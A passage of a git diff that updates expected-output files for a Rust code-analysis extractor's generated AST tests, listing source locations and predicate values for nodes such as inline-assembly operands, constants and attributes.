.../generated/SourceFile/SourceFile_getItem.expected | 2 +- .../ql/test/extractor-tests/generated/Static/Static.expected | 1 + .../extractor-tests/generated/Static/Static_getBody.expected | 1 + .../extractor-tests/generated/Static/Static_getName.expected | 1 + .../generated/Static/Static_getTypeRepr.expected | 1 + .../extractor-tests/generated/StmtList/StmtList.expected | 3 ++- .../generated/StmtList/StmtList_getStatement.expected | 2 ++ .../generated/StmtList/StmtList_getTailExpr.expected | 2 +- .../ql/test/extractor-tests/generated/Struct/Struct.expected | 1 + .../generated/Struct/Struct_getFieldList.expected | 1 + .../extractor-tests/generated/Struct/Struct_getName.expected | 1 + .../StructExprFieldList/StructExprFieldList.expected | 1 + .../StructExprFieldList_getField.expected | 2 ++ .../generated/StructField/StructField.expected | 1 + .../generated/StructField/StructField_getName.expected | 1 + .../generated/StructField/StructField_getTypeRepr.expected | 1 + .../generated/StructFieldList/StructFieldList.expected | 1 + .../StructFieldList/StructFieldList_getField.expected | 2 ++ .../generated/StructPatFieldList/StructPatFieldList.expected | 1 + .../StructPatFieldList/StructPatFieldList_getField.expected | 2 ++ .../extractor-tests/generated/TokenTree/TokenTree.expected | 4 +++- .../extractor-tests/generated/TraitAlias/TraitAlias.expected | 1 + .../generated/TraitAlias/TraitAlias_getName.expected | 1 + .../TraitAlias/TraitAlias_getTypeBoundList.expected | 1 + .../test/extractor-tests/generated/TryExpr/TryExpr.expected | 1 + .../generated/TryExpr/TryExpr_getExpr.expected | 1 + .../extractor-tests/generated/TupleField/TupleField.expected | 2 ++ .../generated/TupleField/TupleField_getTypeRepr.expected | 2 ++ .../generated/TupleFieldList/TupleFieldList.expected | 1 + .../TupleFieldList/TupleFieldList_getField.expected | 2 ++ .../generated/TupleTypeRepr/TupleTypeRepr.expected | 1 + .../generated/TupleTypeRepr/TupleTypeRepr_getField.expected | 2 ++ .../test/extractor-tests/generated/TypeArg/TypeArg.expected | 1 + .../generated/TypeArg/TypeArg_getTypeRepr.expected | 1 + .../extractor-tests/generated/TypeBound/TypeBound.expected | 1 + .../generated/TypeBound/TypeBound_getTypeRepr.expected | 1 + .../generated/TypeBoundList/TypeBoundList.expected | 1 + .../generated/TypeBoundList/TypeBoundList_getBound.expected | 2 ++ .../extractor-tests/generated/TypeParam/TypeParam.expected | 1 + .../generated/TypeParam/TypeParam_getName.expected | 1 + rust/ql/test/extractor-tests/generated/Union/Union.expected | 1 + .../extractor-tests/generated/Union/Union_getName.expected | 1 + .../generated/Union/Union_getStructFieldList.expected | 1 + rust/ql/test/extractor-tests/generated/Use/Use.expected | 1 + .../extractor-tests/generated/Use/Use_getUseTree.expected | 1 + .../UseBoundGenericArgs/UseBoundGenericArgs.expected | 1 + .../UseBoundGenericArgs_getUseBoundGenericArg.expected | 3 +++ .../generated/UseTreeList/UseTreeList.expected | 1 + .../generated/UseTreeList/UseTreeList_getUseTree.expected | 2 ++ .../test/extractor-tests/generated/Variant/Variant.expected | 3 +++ .../generated/Variant/Variant_getFieldList.expected | 2 ++ .../generated/Variant/Variant_getName.expected | 3 +++ .../generated/VariantList/VariantList.expected | 1 + .../generated/VariantList/VariantList_getVariant.expected | 3 +++ .../extractor-tests/generated/Visibility/Visibility.expected | 1 + .../generated/WhereClause/WhereClause.expected | 1 + .../generated/WhereClause/WhereClause_getPredicate.expected | 1 + .../extractor-tests/generated/WherePred/WherePred.expected | 2 ++ .../generated/WherePred/WherePred_getTypeBoundList.expected | 2 ++ .../generated/WherePred/WherePred_getTypeRepr.expected | 2 ++ .../extractor-tests/generated/WhileExpr/WhileExpr.expected | 1 + .../generated/WhileExpr/WhileExpr_getCondition.expected | 1 + .../generated/WhileExpr/WhileExpr_getLoopBody.expected | 1 + 204 files changed, 263 insertions(+), 28 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected index e69de29bb2d..1184fc0e374 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | hasAbiString: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected index e69de29bb2d..278aa2d8325 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | "C" | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected index 883d8f2a698..86eca9460ef 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected @@ -1 +1 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | getNumberOfArgs: | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | getNumberOfArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected index 9bbaa63495c..2cfb771d6cb 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected @@ -1 +1,3 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | 0 | gen_arg_list.rs:5:5:5:11 | "not yet implemented" | +| gen_arg_list.rs:7:8:7:16 | ArgList | 0 | gen_arg_list.rs:7:9:7:9 | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 1 | gen_arg_list.rs:7:12:7:12 | 2 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 2 | gen_arg_list.rs:7:15:7:15 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected index e69de29bb2d..b19154aca0b 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | hasConstArg: | yes | hasElementTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected index e69de29bb2d..9ab029133f6 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:20:7:20 | ConstArg | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected index e69de29bb2d..86b22f2f39d 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected new file mode 100644 index 00000000000..10f3409cc79 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected @@ -0,0 +1 @@ +| gen_asm_clobber_abi.rs:8:14:8:29 | AsmClobberAbi | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected new file mode 100644 index 00000000000..5a82c38127c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | hasExpr: | yes | isConst: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected new file mode 100644 index 00000000000..f1bb1ffc053 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | gen_asm_const.rs:8:36:8:37 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected new file mode 100644 index 00000000000..977c8504c0e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_dir_spec.rs:8:47:8:49 | AsmDirSpec | +| gen_asm_dir_spec.rs:8:67:8:68 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected index 05fcb479b68..3a039fe43fe 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | getNumberOfAsmPieces: | 0 | getNumberOfAttrs: | 0 | getNumberOfTemplates: | 1 | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | getNumberOfAsmPieces: | 2 | getNumberOfAttrs: | 1 | getNumberOfTemplates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected index e69de29bb2d..449113ff8fa 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected @@ -0,0 +1,2 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:39:7:47 | AsmOperandNamed | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 1 | gen_asm_expr.rs:7:50:7:58 | AsmOperandNamed | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected index e69de29bb2d..1e857299755 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected @@ -0,0 +1 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:6:9:6:25 | Attr | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected index 8957e7fb6d0..fa3414743e9 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | 0 | gen_asm_expr.rs:6:23:6:23 | _ | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:23:7:36 | "cmp {0}, {1}" | diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected new file mode 100644 index 00000000000..f7101833911 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected new file mode 100644 index 00000000000..642838b0ef3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected new file mode 100644 index 00000000000..642838b0ef3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected new file mode 100644 index 00000000000..4f8c21cb7ef --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | no | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected new file mode 100644 index 00000000000..8e008a44f8a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | gen_asm_operand_named.rs:8:34:8:43 | AsmRegOperand | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:54:8:62 | AsmRegOperand | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected new file mode 100644 index 00000000000..aad90d4b5e8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected @@ -0,0 +1 @@ +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:46:8:50 | input | diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected new file mode 100644 index 00000000000..ddd5bc880b9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_option.rs:8:22:8:28 | AsmOption | isRaw: | no | +| gen_asm_option.rs:8:31:8:35 | AsmOption | isRaw: | no | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected new file mode 100644 index 00000000000..692d66164f8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected @@ -0,0 +1 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | getNumberOfAsmOptions: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected new file mode 100644 index 00000000000..f159de9080e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 0 | gen_asm_options_list.rs:8:22:8:28 | AsmOption | +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 1 | gen_asm_options_list.rs:8:31:8:35 | AsmOption | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected new file mode 100644 index 00000000000..c9eca662143 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected new file mode 100644 index 00000000000..e47c650ada0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:26:8:28 | AsmDirSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:38:8:39 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected new file mode 100644 index 00000000000..c43a8ca1443 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:35:8:35 | AsmOperandExpr | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:46:8:46 | AsmOperandExpr | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected new file mode 100644 index 00000000000..b1da1a4d1d4 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:30:8:32 | AsmRegSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:41:8:43 | AsmRegSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected new file mode 100644 index 00000000000..0ecd2dfbdf8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_spec.rs:8:30:8:34 | AsmRegSpec | hasIdentifier: | no | +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected new file mode 100644 index 00000000000..d40d67cb6a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected @@ -0,0 +1 @@ +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | gen_asm_reg_spec.rs:8:43:8:45 | EBX | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected new file mode 100644 index 00000000000..664c70d06ba --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | hasPath: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected new file mode 100644 index 00000000000..0bcf012c475 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | gen_asm_sym.rs:8:34:8:44 | my_function | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected index e69de29bb2d..2c62ef6594b 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | hasConstArg: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasParamList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected index e69de29bb2d..901ebce3a55 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:21:9:24 | Item | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected index e69de29bb2d..b6c9b7e740d 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:27:9:31 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected index e69de29bb2d..e0c63af7678 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | hasMeta: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected index e69de29bb2d..8b7c87927b2 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | gen_attr.rs:7:7:7:19 | Meta | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.expected b/rust/ql/test/extractor-tests/generated/Const/Const.expected index e69de29bb2d..4f486333873 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isConst: | yes | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected index e69de29bb2d..e6653a26b91 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:20:7:21 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected index e69de29bb2d..e0c9ac08554 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:11:7:11 | X | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected index e69de29bb2d..dde3546336a 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected index e69de29bb2d..56a3b5946fa 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected @@ -0,0 +1 @@ +| 